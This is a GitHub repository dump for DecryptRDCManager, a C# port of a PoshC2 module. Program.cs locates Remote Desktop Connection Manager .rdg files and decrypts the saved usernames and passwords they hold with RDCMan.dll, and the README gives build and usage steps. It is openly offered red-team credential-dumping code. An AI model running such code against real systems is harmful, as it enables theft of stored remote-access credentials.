├── .gitignore
├── DLLs
├── AxMSTSCLib.dll
├── MSTSCLib.dll
└── RDCMan.dll
├── DecryptRDCManager
├── DecryptRDCManager.sln
└── DecryptRDCManager
│ ├── DecryptRDCManager.csproj
│ ├── Logger.cs
│ ├── Program.cs
│ └── Properties
│ └── AssemblyInfo.cs
├── Images
├── with-path.PNG
└── without-path.PNG
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | # Created by https://www.toptal.com/developers/gitignore/api/csharp
3 | # Edit at https://www.toptal.com/developers/gitignore?templates=csharp
4 |
5 | ### Csharp ###
6 | ## Ignore Visual Studio temporary files, build results, and
7 | ## files generated by popular Visual Studio add-ons.
8 | ##
9 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
10 |
11 | # User-specific files
12 | *.rsuser
13 | *.suo
14 | *.user
15 | *.userosscache
16 | *.sln.docstates
17 |
18 | # User-specific files (MonoDevelop/Xamarin Studio)
19 | *.userprefs
20 |
21 | # Mono auto generated files
22 | mono_crash.*
23 |
24 | # Build results
25 | [Dd]ebug/
26 | [Dd]ebugPublic/
27 | [Rr]elease/
28 | [Rr]eleases/
29 | x64/
30 | x86/
31 | [Aa][Rr][Mm]/
32 | [Aa][Rr][Mm]64/
33 | bld/
34 | [Bb]in/
35 | [Oo]bj/
36 | [Ll]og/
37 | [Ll]ogs/
38 |
39 | # Visual Studio 2015/2017 cache/options directory
40 | .vs/
41 | # Uncomment if you have tasks that create the project's static files in wwwroot
42 | #wwwroot/
43 |
44 | # Visual Studio 2017 auto generated files
45 | Generated\ Files/
46 |
47 | # MSTest test Results
48 | [Tt]est[Rr]esult*/
49 | [Bb]uild[Ll]og.*
50 |
51 | # NUnit
52 | *.VisualState.xml
53 | TestResult.xml
54 | nunit-*.xml
55 |
56 | # Build Results of an ATL Project
57 | [Dd]ebugPS/
58 | [Rr]eleasePS/
59 | dlldata.c
60 |
61 | # Benchmark Results
62 | BenchmarkDotNet.Artifacts/
63 |
64 | # .NET Core
65 | project.lock.json
66 | project.fragment.lock.json
67 | artifacts/
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*[.json, .xml, .info]
147 |
148 | # Visual Studio code coverage results
149 | *.coverage
150 | *.coveragexml
151 |
152 | # NCrunch
153 | _NCrunch_*
154 | .*crunch*.local.xml
155 | nCrunchTemp_*
156 |
157 | # MightyMoose
158 | *.mm.*
159 | AutoTest.Net/
160 |
161 | # Web workbench (sass)
162 | .sass-cache/
163 |
164 | # Installshield output folder
165 | [Ee]xpress/
166 |
167 | # DocProject is a documentation generator add-in
168 | DocProject/buildhelp/
169 | DocProject/Help/*.HxT
170 | DocProject/Help/*.HxC
171 | DocProject/Help/*.hhc
172 | DocProject/Help/*.hhk
173 | DocProject/Help/*.hhp
174 | DocProject/Help/Html2
175 | DocProject/Help/html
176 |
177 | # Click-Once directory
178 | publish/
179 |
180 | # Publish Web Output
181 | *.[Pp]ublish.xml
182 | *.azurePubxml
183 | # Note: Comment the next line if you want to checkin your web deploy settings,
184 | # but database connection strings (with potential passwords) will be unencrypted
185 | *.pubxml
186 | *.publishproj
187 |
188 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
189 | # checkin your Azure Web App publish settings, but sensitive information contained
190 | # in these scripts will be unencrypted
191 | PublishScripts/
192 |
193 | # NuGet Packages
194 | *.nupkg
195 | # NuGet Symbol Packages
196 | *.snupkg
197 | # The packages folder can be ignored because of Package Restore
198 | **/[Pp]ackages/*
199 | # except build/, which is used as an MSBuild target.
200 | !**/[Pp]ackages/build/
201 | # Uncomment if necessary however generally it will be regenerated when needed
202 | #!**/[Pp]ackages/repositories.config
203 | # NuGet v3's project.json files produces more ignorable files
204 | *.nuget.props
205 | *.nuget.targets
206 |
207 | # Microsoft Azure Build Output
208 | csx/
209 | *.build.csdef
210 |
211 | # Microsoft Azure Emulator
212 | ecf/
213 | rcf/
214 |
215 | # Windows Store app package directories and files
216 | AppPackages/
217 | BundleArtifacts/
218 | Package.StoreAssociation.xml
219 | _pkginfo.txt
220 | *.appx
221 | *.appxbundle
222 | *.appxupload
223 |
224 | # Visual Studio cache files
225 | # files ending in .cache can be ignored
226 | *.[Cc]ache
227 | # but keep track of directories ending in .cache
228 | !?*.[Cc]ache/
229 |
230 | # Others
231 | ClientBin/
232 | ~$*
233 | *~
234 | *.dbmdl
235 | *.dbproj.schemaview
236 | *.jfm
237 | *.pfx
238 | *.publishsettings
239 | orleans.codegen.cs
240 |
241 | # Including strong name files can present a security risk
242 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
243 | #*.snk
244 |
245 | # Since there are multiple workflows, uncomment next line to ignore bower_components
246 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
247 | #bower_components/
248 |
249 | # RIA/Silverlight projects
250 | Generated_Code/
251 |
252 | # Backup & report files from converting an old project file
253 | # to a newer Visual Studio version. Backup files are not needed,
254 | # because we have git ;-)
255 | _UpgradeReport_Files/
256 | Backup*/
257 | UpgradeLog*.XML
258 | UpgradeLog*.htm
259 | ServiceFabricBackup/
260 | *.rptproj.bak
261 |
262 | # SQL Server files
263 | *.mdf
264 | *.ldf
265 | *.ndf
266 |
267 | # Business Intelligence projects
268 | *.rdl.data
269 | *.bim.layout
270 | *.bim_*.settings
271 | *.rptproj.rsuser
272 | *- [Bb]ackup.rdl
273 | *- [Bb]ackup ([0-9]).rdl
274 | *- [Bb]ackup ([0-9][0-9]).rdl
275 |
276 | # Microsoft Fakes
277 | FakesAssemblies/
278 |
279 | # GhostDoc plugin setting file
280 | *.GhostDoc.xml
281 |
282 | # Node.js Tools for Visual Studio
283 | .ntvs_analysis.dat
284 | node_modules/
285 |
286 | # Visual Studio 6 build log
287 | *.plg
288 |
289 | # Visual Studio 6 workspace options file
290 | *.opt
291 |
292 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
293 | *.vbw
294 |
295 | # Visual Studio LightSwitch build output
296 | **/*.HTMLClient/GeneratedArtifacts
297 | **/*.DesktopClient/GeneratedArtifacts
298 | **/*.DesktopClient/ModelManifest.xml
299 | **/*.Server/GeneratedArtifacts
300 | **/*.Server/ModelManifest.xml
301 | _Pvt_Extensions
302 |
303 | # Paket dependency manager
304 | .paket/paket.exe
305 | paket-files/
306 |
307 | # FAKE - F# Make
308 | .fake/
309 |
310 | # CodeRush personal settings
311 | .cr/personal
312 |
313 | # Python Tools for Visual Studio (PTVS)
314 | __pycache__/
315 | *.pyc
316 |
317 | # Cake - Uncomment if you are using it
318 | # tools/**
319 | # !tools/packages.config
320 |
321 | # Tabs Studio
322 | *.tss
323 |
324 | # Telerik's JustMock configuration file
325 | *.jmconfig
326 |
327 | # BizTalk build output
328 | *.btp.cs
329 | *.btm.cs
330 | *.odx.cs
331 | *.xsd.cs
332 |
333 | # OpenCover UI analysis results
334 | OpenCover/
335 |
336 | # Azure Stream Analytics local run output
337 | ASALocalRun/
338 |
339 | # MSBuild Binary and Structured Log
340 | *.binlog
341 |
342 | # NVidia Nsight GPU debugger configuration file
343 | *.nvuser
344 |
345 | # MFractors (Xamarin productivity tool) working folder
346 | .mfractor/
347 |
348 | # Local History for Visual Studio
349 | .localhistory/
350 |
351 | # BeatPulse healthcheck temp database
352 | healthchecksdb
353 |
354 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
355 | MigrationBackup/
356 |
357 | # Ionide (cross platform F# VS Code tools) working folder
358 | .ionide/
359 |
360 | # End of https://www.toptal.com/developers/gitignore/api/csharp
--------------------------------------------------------------------------------
/DLLs/AxMSTSCLib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mez-0/DecryptRDCManager/cdd866a08d56dd69baeea0bffedd5c57066e829b/DLLs/AxMSTSCLib.dll
--------------------------------------------------------------------------------
/DLLs/MSTSCLib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mez-0/DecryptRDCManager/cdd866a08d56dd69baeea0bffedd5c57066e829b/DLLs/MSTSCLib.dll
--------------------------------------------------------------------------------
/DLLs/RDCMan.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mez-0/DecryptRDCManager/cdd866a08d56dd69baeea0bffedd5c57066e829b/DLLs/RDCMan.dll
--------------------------------------------------------------------------------
/DecryptRDCManager/DecryptRDCManager.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30517.126
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DecryptRDCManager", "DecryptRDCManager\DecryptRDCManager.csproj", "{CF924967-0AEC-43B2-B891-D67B6DB9F523}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {CF924967-0AEC-43B2-B891-D67B6DB9F523}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {CF924967-0AEC-43B2-B891-D67B6DB9F523}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {CF924967-0AEC-43B2-B891-D67B6DB9F523}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {CF924967-0AEC-43B2-B891-D67B6DB9F523}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {DABAF95B-4461-49A9-89C1-544B0E060AD7}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/DecryptRDCManager/DecryptRDCManager/DecryptRDCManager.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {CF924967-0AEC-43B2-B891-D67B6DB9F523}
8 | Exe
9 | DecryptRDCManager
10 | DecryptRDCManager
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 | ..\..\DLLs\RDCMan.dll
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
--------------------------------------------------------------------------------
/DecryptRDCManager/DecryptRDCManager/Logger.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace DecryptRDCManager
4 | {
5 | class Logger
6 | {
7 | public static Boolean Verbose = false;
8 | public enum STATUS
9 | {
10 | GOOD = 0,
11 | ERROR = 1,
12 | INFO = 2
13 | };
14 | public static void Print(STATUS status, String msg)
15 | {
16 | if (status == STATUS.GOOD)
17 | {
18 | Console.WriteLine("[+] " + msg);
19 | }
20 | else if (status == STATUS.ERROR)
21 | {
22 | Console.WriteLine("[-] " + msg);
23 | }
24 | else if (status == STATUS.INFO)
25 | {
26 | Console.WriteLine("[*] " + msg);
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/DecryptRDCManager/DecryptRDCManager/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Xml;
5 |
6 | // Reference 1: https://github.com/nettitude/PoshC2/blob/master/resources/modules/Decrypt-RDCMan.ps1
7 | // Reference 2: https://smsagent.blog/2017/01/26/decrypting-remote-desktop-connection-manager-passwords-with-powershell/
8 |
9 | namespace DecryptRDCManager
10 | {
11 | public class Program
12 | {
13 | public static void Main(string[] args)
14 | {
15 | String pathToFile = "";
16 |
17 | if (args.Length == 1)
18 | {
19 | if (args[0] == "-h" || args[0] == "--help")
20 | {
21 | Console.WriteLine("./DecryptRDCManager.exe [path to .rdg]");
22 | return;
23 | }
24 | pathToFile = args[0];
25 | }
26 |
27 | List RDGFiles = new List();
28 |
29 | if (pathToFile == "")
30 | {
31 | XmlDocument RDCManSettings = new XmlDocument();
32 | pathToFile = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Remote Desktop Connection Manager\RDCMan.settings";
33 | Logger.Print(Logger.STATUS.INFO, "Checking settings for .rdg files: " + pathToFile);
34 |
35 | try
36 | {
37 | RDCManSettings.LoadXml(File.ReadAllText(pathToFile));
38 | }
39 | catch (Exception e)
40 | {
41 | Logger.Print(Logger.STATUS.ERROR, e.Message);
42 | return;
43 | }
44 |
45 | XmlNodeList nodes = RDCManSettings.SelectNodes("//FilesToOpen");
46 | if (nodes.Count == 0)
47 | {
48 | Logger.Print(Logger.STATUS.ERROR, "Found 0 .rdg files...");
49 | return;
50 | }
51 | else
52 | {
53 | Logger.Print(Logger.STATUS.GOOD, "Found " + nodes.Count + " .rdg file(s)!");
54 | }
55 |
56 | foreach (XmlNode node in nodes)
57 | {
58 | String RDGFilePath = node.InnerText;
59 | if (!RDGFiles.Contains(RDGFilePath))
60 | {
61 | RDGFiles.Add(RDGFilePath);
62 | }
63 | }
64 | }
65 | else
66 | {
67 | Logger.Print(Logger.STATUS.INFO, "Using file: " + pathToFile);
68 | RDGFiles.Add(pathToFile);
69 | }
70 |
71 | Console.WriteLine();
72 | Console.WriteLine("Credentials:");
73 |
74 | foreach (String RDGFile in RDGFiles)
75 | {
76 | ParseRDGFile(RDGFile);
77 | }
78 | }
79 | private static void ParseRDGFile(String RDGPath)
80 | {
81 | Logger.Print(Logger.STATUS.INFO, "Checking: " + RDGPath);
82 | XmlDocument RDGFileConfig = new XmlDocument();
83 | List credLocations = new List { "credentialsProfiles", "logonCredentials" };
84 |
85 | foreach (String credLocation in credLocations)
86 | {
87 | try
88 | {
89 | RDGFileConfig.LoadXml(File.ReadAllText(RDGPath));
90 | }
91 | catch (Exception e)
92 | {
93 | Logger.Print(Logger.STATUS.ERROR, e.Message);
94 | return;
95 | }
96 | XmlNodeList nodes = RDGFileConfig.SelectNodes("//" + credLocation);
97 |
98 | foreach (XmlNode node in nodes)
99 | {
100 | String password = "";
101 | String userName = "";
102 | String domain = "";
103 | String profileName = "";
104 |
105 | foreach (XmlNode subnode in node)
106 | {
107 | try
108 | {
109 | if (subnode["userName"].InnerText.Contains("\\"))
110 | {
111 | domain = subnode["userName"].InnerText.Split('\\')[0];
112 | userName = subnode["userName"].InnerText.Split('\\')[1];
113 | }
114 | else
115 | {
116 | userName = subnode["userName"].InnerText;
117 | }
118 | domain = subnode["domain"].InnerText;
119 | password = subnode["password"].InnerText;
120 | profileName = subnode["profileName"].InnerText;
121 | }
122 | catch (Exception e)
123 | {
124 | continue;
125 | }
126 | }
127 |
128 | if (password != "")
129 | {
130 | String decrypted = DecryptPassword(password);
131 | if (decrypted == "")
132 | {
133 | Logger.Print(Logger.STATUS.ERROR, "Failed to decrypt password for: " + userName + "\\" + password);
134 | }
135 | else
136 | {
137 | Logger.Print(Logger.STATUS.GOOD, String.Format("{0}\\{1}:{2} ({3})", domain, userName, decrypted, profileName));
138 | }
139 | }
140 | }
141 | }
142 | }
143 | private static String DecryptPassword(String password)
144 | {
145 | String decrypted = "";
146 | try
147 | {
148 | decrypted = RdcMan.Encryption.DecryptString(password, new RdcMan.EncryptionSettings());
149 | return decrypted;
150 | }
151 | catch (Exception e)
152 | {
153 | Logger.Print(Logger.STATUS.ERROR, e.Message);
154 | return "";
155 | }
156 | }
157 | }
158 | }
159 |
--------------------------------------------------------------------------------
/DecryptRDCManager/DecryptRDCManager/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("DecryptRDCManager")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("DecryptRDCManager")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("cf924967-0aec-43b2-b891-d67b6db9f523")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Images/with-path.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mez-0/DecryptRDCManager/cdd866a08d56dd69baeea0bffedd5c57066e829b/Images/with-path.PNG
--------------------------------------------------------------------------------
/Images/without-path.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mez-0/DecryptRDCManager/cdd866a08d56dd69baeea0bffedd5c57066e829b/Images/without-path.PNG
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DecryptRDCManager
2 |
3 | `DecryptRDCManager` is a .NET port of [Decrypt-RDCMan.ps1](https://github.com/nettitude/PoshC2/blob/master/resources/modules/Decrypt-RDCMan.ps1) which was written by [Ben Turner](https://twitter.com/benpturner) and [Rich Hicks](https://twitter.com/scriptmonkey_). This tool will decrypt credentials from [Remote Desktop Manager](https://techcommunity.microsoft.com/t5/exchange-team-blog/introducing-remote-desktop-connection-manager-rdcman-2-2/ba-p/592989) by using the functionality from the [RDCMan.DLL](./DLLs/RDCMan.dll) as done [here](https://smsagent.blog/2017/01/26/decrypting-remote-desktop-connection-manager-passwords-with-powershell/).
4 |
5 | When a `.rdg` file is identified, the contents will look something like this:
6 |
7 | ```xml
8 |
9 |
10 |
11 |
12 |
13 | testprofile
14 | DEV\testinguser
15 | AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAlSnFmjEAH0SsyduD82ZosAAAAAACAAAAAAADZgAAwAAAABAAAABimXpySiTYAbe0keAEpZs7AAAAAASAAACgAAAAEAAAACklkBrjv0x63t1+OWBCrCggAAAAvCOw3knvjfpvWFRKJDPI+8ipmOA208hh3EijNOAQG0QUAAAAEX45lKeHqHDty7J9S1/GDw9pcIA=
16 | DEV
17 |
18 |
19 |
20 | True
21 | testing
22 |
23 |
24 |
25 | 192.168.100.102
26 |
27 |
28 | testprofile
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 | ```
37 |
38 | Credentials can either be stored in ``, or ``. During testing, it was found that `` would either fail to decrypt, or decrypt to `0123456789`. However, `` was identified to be way more reliable.
39 |
40 | ## Building
41 |
42 | Make sure the `RDCMan.DLL` reference is added into the solution, and then build it. After building the solution, `ILMerge.exe` it:
43 |
44 | ```
45 | .\ILMerge.exe /out:c:\DecryptRDCManager.exe .\DecryptRDCManager\DecryptRDCManager\bin\Debug\DecryptRDCManager.exe .\DLLs\AxMSTSCLib.dll .\DLLs\MSTSCLib.dll .\DLLs\RDCMan.dll
46 | ```
47 |
48 | ## Usage
49 |
50 | A path to a `.rdg` can be passed in, or `DecryptRDCManager` will read the following settings file to determine where any `.rdg` files are:
51 |
52 | ```
53 | "C:\Users\\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings"
54 | ```
55 |
56 | Example **without path**:
57 |
58 | 
59 |
60 | Example **with path**:
61 |
62 | 
63 |
--------------------------------------------------------------------------------